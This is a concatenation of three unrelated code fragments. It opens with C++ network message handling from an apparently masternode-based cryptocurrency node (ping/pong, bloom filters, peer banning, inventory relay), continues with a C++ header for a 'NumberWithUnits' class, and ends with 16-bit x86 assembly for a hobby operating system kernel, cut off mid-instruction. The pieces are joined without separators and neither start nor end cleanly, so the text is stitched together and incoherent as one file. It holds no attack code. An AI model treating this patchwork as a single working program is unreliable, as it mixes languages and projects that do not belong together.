bPingFinished = false; std::string sProblem; if (nAvail >= sizeof(nonce)) { vRecv >> nonce; // Only process pong message if there is an outstanding ping (old ping without nonce should never pong) if (pfrom->nPingNonceSent != 0) { if (nonce == pfrom->nPingNonceSent) { // Matching pong received, this ping is no longer outstanding bPingFinished = true; int64_t pingUsecTime = pingUsecEnd - pfrom->nPingUsecStart; if (pingUsecTime > 0) { // Successful ping time measurement, replace previous pfrom->nPingUsecTime = pingUsecTime; pfrom->nMinPingUsecTime = std::min(pfrom->nMinPingUsecTime.load(), pingUsecTime); } else { // This should never happen sProblem = "Timing mishap"; } } else { // Nonce mismatches are normal when pings are overlapping sProblem = "Nonce mismatch"; if (nonce == 0) { // This is most likely a bug in another implementation somewhere, cancel this ping bPingFinished = true; sProblem = "Nonce zero"; } } } else { sProblem = "Unsolicited pong without ping"; } } else { // This is most likely a bug in another implementation somewhere, cancel this ping bPingFinished = true; sProblem = "Short payload"; } if (!(sProblem.empty())) { LogPrint(BCLog::NET, "pong peer=%d %s: %s, %x expected, %x received, %u bytes\n", pfrom->id, pfrom->cleanSubVer, sProblem, pfrom->nPingNonceSent, nonce, nAvail); } if (bPingFinished) { pfrom->nPingNonceSent = 0; } } else if (!(pfrom->GetLocalServices() & NODE_BLOOM) && (strCommand == NetMsgType::FILTERLOAD || strCommand == NetMsgType::FILTERADD || strCommand == NetMsgType::FILTERCLEAR)) { LogPrintf("bloom message=%s\n", strCommand); LOCK(cs_main); Misbehaving(pfrom->GetId(), 100); } else if (strCommand == NetMsgType::FILTERLOAD) { CBloomFilter filter; vRecv >> filter; LOCK(pfrom->cs_filter); if (!filter.IsWithinSizeConstraints()) { // There is no excuse for sending a too-large filter LOCK(cs_main); Misbehaving(pfrom->GetId(), 100); } else { delete pfrom->pfilter; pfrom->pfilter = new CBloomFilter(filter); pfrom->pfilter->UpdateEmptyFull(); pfrom->fRelayTxes = true; } } else if (strCommand == NetMsgType::FILTERADD) { std::vector<unsigned char> vData; vRecv >> vData; // Nodes must NEVER send a data item > 520 bytes (the max size for a script data object, // and thus, the maximum size any matched object can have) in a filteradd message bool bad = false; if (vData.size() > MAX_SCRIPT_ELEMENT_SIZE) { bad = true; } else { LOCK(pfrom->cs_filter); if (pfrom->pfilter) { pfrom->pfilter->insert(vData); } else { bad = true; } } if (bad) { LOCK(cs_main); Misbehaving(pfrom->GetId(), 100); } } else if (strCommand == NetMsgType::FILTERCLEAR) { LOCK(pfrom->cs_filter); delete pfrom->pfilter; pfrom->pfilter = new CBloomFilter(); pfrom->fRelayTxes = true; } else if (strCommand == NetMsgType::REJECT) { try { std::string strMsg; unsigned char ccode; std::string strReason; vRecv >> LIMITED_STRING(strMsg, CMessageHeader::COMMAND_SIZE) >> ccode >> LIMITED_STRING(strReason, MAX_REJECT_MESSAGE_LENGTH); std::ostringstream ss; ss << strMsg << " code " << itostr(ccode) << ": " << strReason; if (strMsg == NetMsgType::BLOCK || strMsg == NetMsgType::TX) { uint256 hash; vRecv >> hash; ss << ": hash " << hash.ToString(); } LogPrint(BCLog::NET, "Reject %s\n", SanitizeString(ss.str())); } catch (const std::ios_base::failure& e) { // Avoid feedback loops by preventing reject messages from triggering a new reject message. LogPrint(BCLog::NET, "Unparseable reject message received\n"); } } else { bool found = false; const std::vector<std::string>& allMessages = getAllNetMessageTypes(); for (const std::string& msg : allMessages) { if (msg == strCommand) { found = true; break; } } if (found) { // Check if the dispatcher can process this message first. If not, try going with the old flow. if (!masternodeSync.MessageDispatcher(pfrom, strCommand, vRecv)) { //probably one the extensions mnodeman.ProcessMessage(pfrom, strCommand, vRecv); g_budgetman.ProcessMessage(pfrom, strCommand, vRecv); masternodePayments.ProcessMessageMasternodePayments(pfrom, strCommand, vRecv); sporkManager.ProcessSpork(pfrom, strCommand, vRecv); masternodeSync.ProcessMessage(pfrom, strCommand, vRecv); } } else { // Ignore unknown commands for extensibility LogPrint(BCLog::NET, "Unknown command \"%s\" from peer=%d\n", SanitizeString(strCommand), pfrom->id); } } return true; } bool ProcessMessages(CNode* pfrom, CConnman& connman, std::atomic<bool>& interruptMsgProc) { // Message format // (4) message start // (12) command // (4) size // (4) checksum // (x) data // bool fMoreWork = false; if (!pfrom->vRecvGetData.empty()) ProcessGetData(pfrom, connman, interruptMsgProc); if (pfrom->fDisconnect) return false; // this maintains the order of responses if (!pfrom->vRecvGetData.empty()) return true; // Don't bother if send buffer is too full to respond anyway if (pfrom->fPauseSend) return false; std::list<CNetMessage> msgs; { LOCK(pfrom->cs_vProcessMsg); if (pfrom->vProcessMsg.empty()) return false; // Just take one message msgs.splice(msgs.begin(), pfrom->vProcessMsg, pfrom->vProcessMsg.begin()); pfrom->nProcessQueueSize -= msgs.front().vRecv.size() + CMessageHeader::HEADER_SIZE; pfrom->fPauseRecv = pfrom->nProcessQueueSize > connman.GetReceiveFloodSize(); fMoreWork = !pfrom->vProcessMsg.empty(); } CNetMessage& msg(msgs.front()); msg.SetVersion(pfrom->GetRecvVersion()); // Scan for message start if (memcmp(msg.hdr.pchMessageStart, Params().MessageStart(), MESSAGE_START_SIZE) != 0) { LogPrint(BCLog::NET, "PROCESSMESSAGE: INVALID MESSAGESTART %s peer=%d\n", SanitizeString(msg.hdr.GetCommand()), pfrom->id); pfrom->fDisconnect = true; return false; } // Read header CMessageHeader& hdr = msg.hdr; if (!hdr.IsValid(Params().MessageStart())) { LogPrint(BCLog::NET, "PROCESSMESSAGE: ERRORS IN HEADER %s peer=%d\n", SanitizeString(hdr.GetCommand()), pfrom->id); return fMoreWork; } std::string strCommand = hdr.GetCommand(); // Message size unsigned int nMessageSize = hdr.nMessageSize; // Checksum CDataStream& vRecv = msg.vRecv; uint256 hash = Hash(vRecv.begin(), vRecv.begin() + nMessageSize); if (memcmp(hash.begin(), hdr.pchChecksum, CMessageHeader::CHECKSUM_SIZE) != 0) { LogPrint(BCLog::NET, "%s(%s, %u bytes): CHECKSUM ERROR expected %s was %s\n", __func__, SanitizeString(strCommand), nMessageSize, HexStr(hash.begin(), hash.begin()+CMessageHeader::CHECKSUM_SIZE), HexStr(hdr.pchChecksum, hdr.pchChecksum+CMessageHeader::CHECKSUM_SIZE)); return fMoreWork; } // Process message bool fRet = false; try { fRet = ProcessMessage(pfrom, strCommand, vRecv, msg.nTime, connman, interruptMsgProc); if (interruptMsgProc) return false; if (!pfrom->vRecvGetData.empty()) fMoreWork = true; } catch (const std::ios_base::failure& e) { connman.PushMessage(pfrom, CNetMsgMaker(INIT_PROTO_VERSION).Make(NetMsgType::REJECT, strCommand, REJECT_MALFORMED, std::string("error parsing message"))); if (strstr(e.what(), "end of data")) { // Allow exceptions from under-length message on vRecv LogPrint(BCLog::NET, "ProcessMessages(%s, %u bytes): Exception '%s' caught, normally caused by a message being shorter than its stated length\n", SanitizeString(strCommand), nMessageSize, e.what()); } else if (strstr(e.what(), "size too large")) { // Allow exceptions from over-long size LogPrint(BCLog::NET, "ProcessMessages(%s, %u bytes): Exception '%s' caught\n", SanitizeString(strCommand), nMessageSize, e.what()); } else { PrintExceptionContinue(&e, "ProcessMessages()"); } } catch (const std::exception& e) { PrintExceptionContinue(&e, "ProcessMessages()"); } catch (...) { PrintExceptionContinue(NULL, "ProcessMessages()"); } if (!fRet) LogPrint(BCLog::NET, "ProcessMessage(%s, %u bytes) FAILED peer=%d\n", SanitizeString(strCommand), nMessageSize, pfrom->id); return fMoreWork; } class CompareInvMempoolOrder { CTxMemPool *mp; public: CompareInvMempoolOrder(CTxMemPool *_mempool) { mp = _mempool; } bool operator()(std::set<uint256>::iterator a, std::set<uint256>::iterator b) { /* As std::make_heap produces a max-heap, we want the entries with the * fewest ancestors/highest fee to sort later. */ return mp->CompareDepthAndScore(*b, *a); } }; bool SendMessages(CNode* pto, CConnman& connman, std::atomic<bool>& interruptMsgProc) { { // Don't send anything until the version handshake is complete if (!pto->fSuccessfullyConnected || pto->fDisconnect) return true; // If we get here, the outgoing message serialization version is set and can't change. CNetMsgMaker msgMaker(pto->GetSendVersion()); // // Message: ping // bool pingSend = false; if (pto->fPingQueued) { // RPC ping request by user pingSend = true; } if (pto->nPingNonceSent == 0 && pto->nPingUsecStart + PING_INTERVAL * 1000000 < GetTimeMicros()) { // Ping automatically sent as a latency probe & keepalive. pingSend = true; } if (pingSend) { uint64_t nonce = 0; while (nonce == 0) { GetRandBytes((unsigned char*)&nonce, sizeof(nonce)); } pto->fPingQueued = false; pto->nPingUsecStart = GetTimeMicros(); if (pto->nVersion > BIP0031_VERSION) { pto->nPingNonceSent = nonce; connman.PushMessage(pto, msgMaker.Make(NetMsgType::PING, nonce)); } else { // Peer is too old to support ping command with nonce, pong will never arrive. pto->nPingNonceSent = 0; connman.PushMessage(pto, msgMaker.Make(NetMsgType::PING)); } } TRY_LOCK(cs_main, lockMain); // Acquire cs_main for IsInitialBlockDownload() and CNodeState() if (!lockMain) return true; CNodeState& state = *State(pto->GetId()); for (const CBlockReject& reject : state.rejects) connman.PushMessage(pto, msgMaker.Make(NetMsgType::REJECT, std::string(NetMsgType::BLOCK), reject.chRejectCode, reject.strRejectReason, reject.hashBlock)); state.rejects.clear(); if (state.fShouldBan) { state.fShouldBan = false; if (pto->fWhitelisted) LogPrintf("Warning: not punishing whitelisted peer %s!\n", pto->addr.ToString()); else { pto->fDisconnect = true; if (pto->addr.IsLocal()) LogPrintf("Warning: not banning local peer %s!\n", pto->addr.ToString()); else { connman.Ban(pto->addr, BanReasonNodeMisbehaving); } return true; } } // Address refresh broadcast int64_t nNow = GetTimeMicros(); if (!IsInitialBlockDownload() && pto->nNextLocalAddrSend < nNow) { AdvertiseLocal(pto); pto->nNextLocalAddrSend = PoissonNextSend(nNow, AVG_LOCAL_ADDRESS_BROADCAST_INTERVAL); } // // Message: addr // if (pto->nNextAddrSend < nNow) { pto->nNextAddrSend = PoissonNextSend(nNow, AVG_ADDRESS_BROADCAST_INTERVAL); std::vector<CAddress> vAddr; vAddr.reserve(pto->vAddrToSend.size()); for (const CAddress& addr : pto->vAddrToSend) { if (!pto->addrKnown.contains(addr.GetKey())) { pto->addrKnown.insert(addr.GetKey()); vAddr.push_back(addr); // receiver rejects addr messages larger than 1000 if (vAddr.size() >= 1000) { connman.PushMessage(pto, msgMaker.Make(NetMsgType::ADDR, vAddr)); vAddr.clear(); } } } pto->vAddrToSend.clear(); if (!vAddr.empty()) connman.PushMessage(pto, msgMaker.Make(NetMsgType::ADDR, vAddr)); } // Start block sync if (pindexBestHeader == NULL) pindexBestHeader = chainActive.Tip(); bool fFetch = state.fPreferredDownload || (nPreferredDownload == 0 && !pto->fClient && !pto->fOneShot); // Download if this is a nice peer, or we have no nice peers and this one might do. if (!state.fSyncStarted && !pto->fClient && !fImporting && !fReindex) { // Only actively request headers from a single peer, unless we're close to end of initial download. if ((nSyncStarted == 0 && fFetch) || pindexBestHeader->GetBlockTime() > GetAdjustedTime() - 6 * 60 * 60) { // NOTE: was "close to today" and 24h in Bitcoin state.fSyncStarted = true; nSyncStarted++; //CBlockIndex *pindexStart = pindexBestHeader->pprev ? pindexBestHeader->pprev : pindexBestHeader; //LogPrint(BCLog::NET, "initial getheaders (%d) to peer=%d (startheight:%d)\n", pindexStart->nHeight, pto->id, pto->nStartingHeight); //pto->PushMessage(NetMsgType::GETHEADERS, chainActive.GetLocator(pindexStart), UINT256_ZERO); connman.PushMessage(pto, msgMaker.Make(NetMsgType::GETBLOCKS, chainActive.GetLocator(chainActive.Tip()), UINT256_ZERO)); } } // Resend wallet transactions that haven't gotten in a block yet // Except during reindex, importing and IBD, when old wallet // transactions become unconfirmed and spams other nodes. if (!fReindex && !fImporting && !IsInitialBlockDownload()) { GetMainSignals().Broadcast(&connman); } // // Message: inventory // std::vector<CInv> vInv; std::vector<CInv> vInvWait; { LOCK(pto->cs_inventory); vInv.reserve(std::max<size_t>(pto->vInventoryBlockToSend.size(), INVENTORY_BROADCAST_MAX)); // Add blocks for (const uint256& hash : pto->vInventoryBlockToSend) { vInv.emplace_back(CInv(MSG_BLOCK, hash)); if (vInv.size() == MAX_INV_SZ) { connman.PushMessage(pto, msgMaker.Make(NetMsgType::INV, vInv)); vInv.clear(); } } pto->vInventoryBlockToSend.clear(); // Add tier two INVs for (const CInv& tInv : pto->vInventoryTierTwoToSend) { vInv.emplace_back(tInv); if (vInv.size() == MAX_INV_SZ) { connman.PushMessage(pto, msgMaker.Make(NetMsgType::INV, vInv)); vInv.clear(); } } pto->vInventoryTierTwoToSend.clear(); // Check whether periodic send should happen bool fSendTrickle = pto->fWhitelisted; if (pto->nNextInvSend < nNow) { fSendTrickle = true; // Use half the delay for outbound peers, as there is less privacy concern for them. pto->nNextInvSend = PoissonNextSend(nNow, INVENTORY_BROADCAST_INTERVAL >> !pto->fInbound); } // Time to send but the peer has requested we not relay transactions. if (fSendTrickle) { LOCK(pto->cs_filter); if (!pto->fRelayTxes) pto->setInventoryTxToSend.clear(); } // Respond to BIP35 mempool requests if (fSendTrickle && pto->fSendMempool) { auto vtxinfo = mempool.infoAll(); pto->fSendMempool = false; // future: back port fee filter rate LOCK(pto->cs_filter); for (const auto& txinfo : vtxinfo) { const uint256& hash = txinfo.tx->GetHash(); CInv inv(MSG_TX, hash); pto->setInventoryTxToSend.erase(hash); // future: add fee filter check here.. if (pto->pfilter) { if (!pto->pfilter->IsRelevantAndUpdate(*txinfo.tx)) continue; } pto->filterInventoryKnown.insert(hash); vInv.emplace_back(inv); if (vInv.size() == MAX_INV_SZ) { connman.PushMessage(pto, msgMaker.Make(NetMsgType::INV, vInv)); vInv.clear(); } } pto->timeLastMempoolReq = GetTime(); } // Determine transactions to relay if (fSendTrickle) { // Produce a vector with all candidates for sending std::vector<std::set<uint256>::iterator> vInvTx; vInvTx.reserve(pto->setInventoryTxToSend.size()); for (std::set<uint256>::iterator it = pto->setInventoryTxToSend.begin(); it != pto->setInventoryTxToSend.end(); it++) { vInvTx.push_back(it); } // Topologically and fee-rate sort the inventory we send for privacy and priority reasons. // A heap is used so that not all items need sorting if only a few are being sent. CompareInvMempoolOrder compareInvMempoolOrder(&mempool); std::make_heap(vInvTx.begin(), vInvTx.end(), compareInvMempoolOrder); // No reason to drain out at many times the network's capacity, // especially since we have many peers and some will draw much shorter delays. unsigned int nRelayedTransactions = 0; LOCK(pto->cs_filter); while (!vInvTx.empty() && nRelayedTransactions < INVENTORY_BROADCAST_MAX) { // Fetch the top element from the heap std::pop_heap(vInvTx.begin(), vInvTx.end(), compareInvMempoolOrder); std::set<uint256>::iterator it = vInvTx.back(); vInvTx.pop_back(); uint256 hash = *it; // Remove it from the to-be-sent set pto->setInventoryTxToSend.erase(it); // Check if not in the filter already if (pto->filterInventoryKnown.contains(hash)) { continue; } // Not in the mempool anymore? don't bother sending it. auto txinfo = mempool.info(hash); if (!txinfo.tx) { continue; } // todo: back port feerate filter. if (pto->pfilter && !pto->pfilter->IsRelevantAndUpdate(*txinfo.tx)) continue; // Send vInv.emplace_back(CInv(MSG_TX, hash)); nRelayedTransactions++; if (vInv.size() == MAX_INV_SZ) { connman.PushMessage(pto, msgMaker.Make(NetMsgType::INV, vInv)); vInv.clear(); } pto->filterInventoryKnown.insert(hash); } } } if (!vInv.empty()) connman.PushMessage(pto, msgMaker.Make(NetMsgType::INV, vInv)); // Detect whether we're stalling nNow = GetTimeMicros(); if (state.nStallingSince && state.nStallingSince < nNow - 1000000 * BLOCK_STALLING_TIMEOUT) { // Stalling only triggers when the block download window cannot move. During normal steady state, // the download window should be much larger than the to-be-downloaded set of blocks, so disconnection // should only happen during initial block download. LogPrintf("Peer=%d is stalling block download, disconnecting\n", pto->id); pto->fDisconnect = true; return true; } // In case there is a block that has been in flight from this peer for (2 + 0.5 * N) times the block interval // (with N the number of validated blocks that were in flight at the time it was requested), disconnect due to // timeout. We compensate for in-flight blocks to prevent killing off peers due to our own downstream link // being saturated. We only count validated in-flight blocks so peers can't advertise nonexisting block hashes // to unreasonably increase our timeout. if (state.vBlocksInFlight.size() > 0 && state.vBlocksInFlight.front().nTime < nNow - 500000 * Params().GetConsensus().nTargetSpacing * (4 + state.vBlocksInFlight.front().nValidatedQueuedBefore)) { LogPrintf("Timeout downloading block %s from peer=%d, disconnecting\n", state.vBlocksInFlight.front().hash.ToString(), pto->id); pto->fDisconnect = true; return true; } // // Message: getdata (blocks) // std::vector<CInv> vGetData; if (!pto->fClient && fFetch && state.nBlocksInFlight < MAX_BLOCKS_IN_TRANSIT_PER_PEER) { std::vector<const CBlockIndex*> vToDownload; NodeId staller = -1; FindNextBlocksToDownload(pto->GetId(), MAX_BLOCKS_IN_TRANSIT_PER_PEER - state.nBlocksInFlight, vToDownload, staller); for (const CBlockIndex* pindex : vToDownload) { vGetData.emplace_back(MSG_BLOCK, pindex->GetBlockHash()); MarkBlockAsInFlight(pto->GetId(), pindex->GetBlockHash(), pindex); LogPrintf("Requesting block %s (%d) peer=%d\n", pindex->GetBlockHash().ToString(), pindex->nHeight, pto->id); } if (state.nBlocksInFlight == 0 && staller != -1) { if (State(staller)->nStallingSince == 0) { State(staller)->nStallingSince = nNow; LogPrint(BCLog::NET, "Stall started peer=%d\n", staller); } } } // // Message: getdata (non-blocks) // while (!pto->mapAskFor.empty() && (*pto->mapAskFor.begin()).first <= nNow) { const CInv& inv = (*pto->mapAskFor.begin()).second; if (!AlreadyHave(inv)) { LogPrint(BCLog::NET, "Requesting %s peer=%d\n", inv.ToString(), pto->id); vGetData.push_back(inv); if (vGetData.size() >= 1000) { connman.PushMessage(pto, msgMaker.Make(NetMsgType::GETDATA, vGetData)); vGetData.clear(); } } pto->mapAskFor.erase(pto->mapAskFor.begin()); } if (!vGetData.empty()) connman.PushMessage(pto, msgMaker.Make(NetMsgType::GETDATA, vGetData)); } return true; } class CNetProcessingCleanup { public: CNetProcessingCleanup() {} ~CNetProcessingCleanup() { // orphan transactions mapOrphanTransactions.clear(); mapOrphanTransactionsByPrev.clear(); } } instance_of_cnetprocessingcleanup;
#include <iostream> #include <fstream> #include <sstream> #include <stdexcept> #include <string> namespace ariel { class NumberWithUnits { private: double numOfUnit; std::string unitType; static double convertNumOfUnit(const NumberWithUnits &unit, const std::string &newUnitType); static int compareWithTolerance(double number1, double number2); public: NumberWithUnits(double numOfUnit, const std::string &unitType); static void read_units(std::ifstream& units_file); NumberWithUnits operator+(const NumberWithUnits &unit) const; NumberWithUnits& operator+=(const NumberWithUnits &unit); NumberWithUnits operator+() const; NumberWithUnits operator-(const NumberWithUnits &unit) const; NumberWithUnits& operator-=(const NumberWithUnits &unit); NumberWithUnits operator-() const; bool operator>(const NumberWithUnits &unit) const; bool operator>=(const NumberWithUnits &unit) const; bool operator<(const NumberWithUnits &unit) const; bool operator<=(const NumberWithUnits &unit) const; bool operator==(const NumberWithUnits &unit) const; bool operator!=(const NumberWithUnits &unit) const; NumberWithUnits& operator++(); NumberWithUnits operator++(int flag); NumberWithUnits& operator--(); NumberWithUnits operator--(int flag); NumberWithUnits operator*(double number) const; friend NumberWithUnits operator*(double number, const NumberWithUnits &unit); friend std::ostream& operator<<(std::ostream &os, const NumberWithUnits &unit); friend std::istream& operator>>(std::istream &is, NumberWithUnits &unit); }; }
BITS 16 ORG 32768 disk_buffer equ 0E000h ; ------------------------------------------------------------------ ; MichalOS memory map: ; Segment 0000h: ; - 0000h - 03FFh = Interrupt vector table ; - 0400h - 04FFh = BIOS data area ; - 1000h - 1FFFh = Video Software Renderer memory ; - 4000h - 4FFFh = MichalOS Bootloader (BOOT.SYS) ; - 7000h - 7FFFh = VESA palette table (VESA.SYS) ; - 8000h - 8FFFh = System font (FONT.SYS) ; - 9000h - 9FFFh = File manager (FILEMAN.APP) ; - A000h - AFFFh = Video memory for the software renderer ; - B000h - FFFFh = System stack ; Segment 1000h: ; - 0000h - 00FFh = System variables ; - 0000h = Current drive number ; - 0001h - 0081h = Footer buffer ; - 0082h = System state ; - 0 if a GUI application is running ; - 1 if a non-GUI application is running (no header/footer) ; - 0083h = Sound state ; - 0 if sound disabled ; - 1 if sound enabled ; - 0084h = Default boot device ; - 0085h = Default button for os_dialog_box (0 = OK, 1 = Cancel) ; - 0086h = int_filename_convert error status ; - 0 if filename too long ; - 1 if filename empty ; - 2 if no extension found ; - 3 if no basename found ; - 4 if extension too short ; - 00E0h - 00EFh - parameters for an app (eg. a file to open when an app launches) ; - 00F0h - 00FFh - temporary buffer for storing apps' filenames ; - 0100h - 7FFEh = Application ; - 7FFEh - Terminal open flag ; - 0 = return to the desktop after an application quits ; - 1 = launch the terminal after an application quits ; - 7FFFh - Application launch flag ; - 0 = return to the desktop after an application quits ; - 1 = launch another application (filename passed in AX) after an application quits ; - Note: after launching another application this flag is set to 0 ; - 8000h - DEA7h = MichalOS/2 kernel ; - DEA8h - DFFFh = Configuration file (SYSTEM.CFG) ; - described in CONFIG.ASM ; - E000h - FFFFh = Disk buffer ; ------------------------------------------------------------------ ; ------------------------------------------------------------------ ; OS CALL VECTORS os_call_vectors: jmp os_main ; 8000h -- Called from bootloader jmp os_print_string ; 8003h jmp os_move_cursor ; 8006h jmp os_clear_screen ; 8009h jmp os_print_horiz_line ; 800Ch jmp os_print_newline ; 800Fh jmp os_wait_for_key ; 8012h jmp os_check_for_key ; 8015h jmp os_int_to_string ; 8018h jmp os_speaker_tone ; 801Bh jmp os_speaker_off ; 801Eh jmp os_load_file ; 8021h jmp os_pause ; 8024h jmp os_fatal_error ; 8027h jmp os_draw_background ; 802Ah jmp os_string_length ; 802Dh jmp os_string_uppercase ; 8030h jmp os_string_lowercase ; 8033h jmp os_input_string ; 8036h jmp os_string_copy ; 8039h jmp os_dialog_box ; 803Ch jmp os_string_join ; 803Fh jmp os_get_file_list ; 8042h jmp os_string_compare ; 8045h jmp os_string_chomp ; 8048h jmp os_string_to_hex ; 804Bh jmp os_adlib_regwrite ; 804Eh jmp os_bcd_to_int ; 8051h jmp os_get_time_string ; 8054h jmp os_draw_logo ; 8057h jmp os_file_selector ; 805Ah jmp os_get_date_string ; 805Dh jmp os_send_via_serial ; 8060h jmp os_get_via_serial ; 8063h jmp os_find_char_in_string ; 8066h jmp os_get_cursor_pos ; 8069h jmp os_print_space ; 806Ch jmp os_option_menu ; 806Fh jmp os_print_digit ; 8072h jmp os_print_1hex ; 8075h jmp os_print_2hex ; 8078h jmp os_print_4hex ; 807Bh jmp os_vesa_scan ; 807Eh jmp os_report_free_space ; 8081h jmp os_string_add ; 8084h jmp os_draw_char ; 8087h jmp os_show_cursor ; 808Ah jmp os_hide_cursor ; 808Dh jmp os_dump_registers ; 8090h jmp UPC ; 8093h jmp os_write_file ; 8096h jmp os_file_exists ; 8099h jmp os_create_file ; 809Ch jmp os_remove_file ; 809Fh jmp os_rename_file ; 80A2h jmp os_get_file_size ; 80A5h jmp os_input_dialog ; 80A8h jmp os_list_dialog ; 80ABh jmp os_string_reverse ; 80AEh jmp os_string_to_int ; 80B1h jmp os_draw_block ; 80B4h jmp os_get_random ; 80B7h jmp os_print_32int ; 80BAh jmp os_serial_port_enable ; 80BDh jmp os_sint_to_string ; 80C0h jmp os_string_parse ; 80C3h jmp os_run_basic ; 80C6h jmp os_adlib_calcfreq ; 80C9h jmp os_attach_app_timer ; 80CCh jmp os_string_tokenize ; 80CFh jmp os_clear_registers ; 80D2h jmp os_format_string ; 80D5h jmp os_vesa_mode ; 80D8h jmp os_vesa_pixel ; 80DBh jmp os_return_app_timer ; 80DEh jmp os_reset_font ; 80E1h jmp os_update_clock ; 80E4h jmp os_crash_application ; 80E7h jmp os_check_adlib ; 80EAh jmp os_illegal_call ; 80EDh ; FREE!!!!!!!!!!!!!!!!!!! jmp os_illegal_call ; 80F0h ; FREE!!!!!!!!!!!!!!!!!!! jmp os_illegal_call ; 80F3h ; FREE!!!!!!!!!!!!!!!!!!! jmp os_illegal_call ; 80F6h ; FREE!!!!!!!!!!!!!!!!!!! jmp os_illegal_call ; 80F9h ; FREE!!!!!!!!!!!!!!!!!!! jmp os_illegal_call ; 80FCh ; FREE!!!!!!!!!!!!!!!!!!! jmp os_put_pixel ; 80FFh jmp os_get_pixel ; 8102h jmp os_illegal_call ; 8105h ; FREE!!!!!!!!!!!!!!!!!!! jmp os_change_disk ; 8108h jmp os_drive_letter ; 810Bh jmp os_illegal_call ; 810Eh ; FREE!!!!!!!!!!!!!!!!!!! jmp os_illegal_call ; 8111h ; FREE!!!!!!!!!!!!!!!!!!! jmp os_illegal_call ; 8114h ; FREE!!!!!!!!!!!!!!!!!!! jmp os_password_dialog ; 8117h jmp os_illegal_call ; 811Ah ; FREE!!!!!!!!!!!!!!!!!!! jmp os_draw_box ; 811Dh jmp os_get_memory ; 8120h jmp os_color_selector ; 8123h jmp os_modify_int_handler ; 8126h jmp os_32int_to_string ; 8129h jmp os_print_footer ; 812Ch jmp os_print_8hex ; 812Fh jmp os_string_to_32int ; 8132h jmp os_math_power ; 8135h jmp os_math_root ; 8138h jmp os_input_password ; 813Bh jmp os_get_int_handler ; 813Eh jmp os_illegal_call ; 8141h ; FREE!!!!!!!!!!!!!!!!!!! jmp os_temp_box ; 8144h jmp os_illegal_call ; 8147h ; FREE!!!!!!!!!!!!!!!!!!! jmp os_read_root ; 814Ah jmp os_illegal_call ; 814Dh ; FREE!!!!!!!!!!!!!!!!!!! jmp os_illegal_call ; 8150h ; FREE!!!!!!!!!!!!!!!!!!! jmp os_illegal_call ; 8153h ; FREE!!!!!!!!!!!!!!!!!!! jmp disk_convert_l2hts ; 8156h jmp mouselib_locate ; 8159h jmp mouselib_move ; 815Ch jmp mouselib_show ; 815Fh jmp mouselib_hide ; 8162h jmp mouselib_range ; 8165h jmp mouselib_wait ; 8168h jmp mouselib_anyclick ; 816Bh jmp mouselib_leftclick ; 816Eh jmp mouselib_middleclick ; 8171h jmp mouselib_rightclick ; 8174h jmp mouselib_scale ; 8177h jmp mouselib_setup ; 817Ah ; ------------------------------------------------------------------ ; START OF MAIN KERNEL CODE os_main: cli ; Clear interrupts mov ax, 0 mov ss, ax ; Set stack segment and pointer mov sp, 0FFFEh sti ; Restore interrupts cld ; The default direction for string operations ; will be 'up' - incrementing address in RAM mov ax, 1000h ; Set all segments to match where kernel is loaded mov ds, ax mov es, ax mov fs, [driversgmt] mov gs, ax mov [0000h], dl mov [0084h], dl mov [bootdev], dl ; Save boot device number push es mov ah, 8 ; Get drive parameters int 13h pop es and cx, 3Fh ; Maximum sector number mov [SecsPerTrack], cx ; Sector numbers start at 1 movzx dx, dh ; Maximum head number add dx, 1 ; Head numbers start at 0 - add 1 for total mov [Sides], dx mov ax, 0 call os_serial_port_enable no_change: cli mov cl, 00h ; Divide by 0 error handler mov di, 1000h mov si, os_compat_int00 call os_modify_int_handler ; mov cl, 01h ; Debugger ; mov di, 1000h ; mov si, debugger ; call os_modify_int_handler mov cl, 04h ; INTO instruction error handler mov di, 1000h mov si, os_compat_int04 call os_modify_int_handler mov cl, 05h ; Print screen handler mov di, 1000h mov si, os_compat_int05 call os_modify_int_handler mov cl, 06h ; Bad instruction error handler mov di, 1000h mov si, os_compat_int06 call os_modify_int_handler mov cl, 07h ; Processor extension error handler mov di, 1000h mov si, os_compat_int07 call os_modify_int_handler mov cl, 1Ch ; RTC handler mov di, 1000h mov si, os_compat_int1C call os_modify_int_handler ; call os_enable_debugger sti call os_seed_random mov di, 100h mov al, 0 mov cx, 7EFFh rep stosb mov ax, 3 int 10h call os_reset_font mov ax, 1003h ; Set text output with certain attributes mov bl, 0 ; to be bright, and not blinking int 10h mov byte [0082h], 0 mov ax, system_cfg ; Try to load SYSTEM.CFG mov cx, 57000 call os_load_file mov al, [57069] ; Copy the default sound volume (on/off) mov [0083h], al jc load_demotour ; If failed, it doesn't exist, so the system is run for the first time logoinput: mov ax, osname ; Set up the welcome screen mov bx, empty_string mov cx, 07h ; Colour: black call os_draw_background mov dh, 9 mov dl, 0 call os_move_cursor mov ah, 09h mov al, ' ' mov bh, 0 mov bl, 00000100b mov cx, 560 int 10h mov si, logo0 call os_print_string mov dh, 22 mov dl, 2 call os_move_cursor mov si, passwordmsg call os_print_string call os_hide_cursor mov ax, 523 call os_speaker_tone mov ax, 2 call os_pause call os_speaker_off call os_wait_for_key enterpressed: call os_show_cursor mov al, [57002] ; Is the password disabled? cmp al, 0 je checkformenu ; If it is, continue .try: mov dh, 22 ; Clean the text on the screen mov dl, 0 call os_move_cursor mov al, 32 mov ah, 09h mov bh, 0 mov bl, 7 mov cx, 80 int 10h mov dh, 22 ; Ask for the password mov dl, 2 call os_move_cursor mov si, passentermsg call os_print_string mov ax, 100h mov bl, 7 call os_input_password mov si, 100h mov di, 57003 call os_string_compare jnc .try ;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;end LOGO! checkformenu: call os_hide_cursor call os_clear_screen call background checkformenustart: call os_hide_cursor call menu_background checkformenuloop: call os_wait_for_key cmp al, 32 ; Space pressed? je near option_screen ; Open the menu cmp al, 'a' ; a pressed? je near load_fileman ; Open the file manager cmp al, 'A' je near load_fileman jmp checkformenuloop option_screen: call menu_background mov ax, menuoptions mov bx, 13 mov cx, 4 call os_option_menu jc checkformenustart cmp ax, 1 je near app_selector cmp ax, 2 je near game_selector cmp ax, 3 je near logoinput cmp ax, 4 je near shutdownmenu passwordmsg db 'Press any key to log in...', 0 passentermsg db 'Enter your password: ', 0 os_init_msg db 'InpyoOS Desktop', 0 os_version_msg db '[Space] Open the main menu [A] Open the file manager', 0 app_selector: call menu_background mov ax, progoptions mov bx, 20 call os_option_menu jc option_screen cmp ax, 1 je near load_fileman cmp ax, 12 je near debug_stuff mov si, ax sub si, 2 shl si, 1 add si, appindex1 lodsw mov si, ax mov di, 0100h call os_string_copy mov ax, 0100h mov bx, 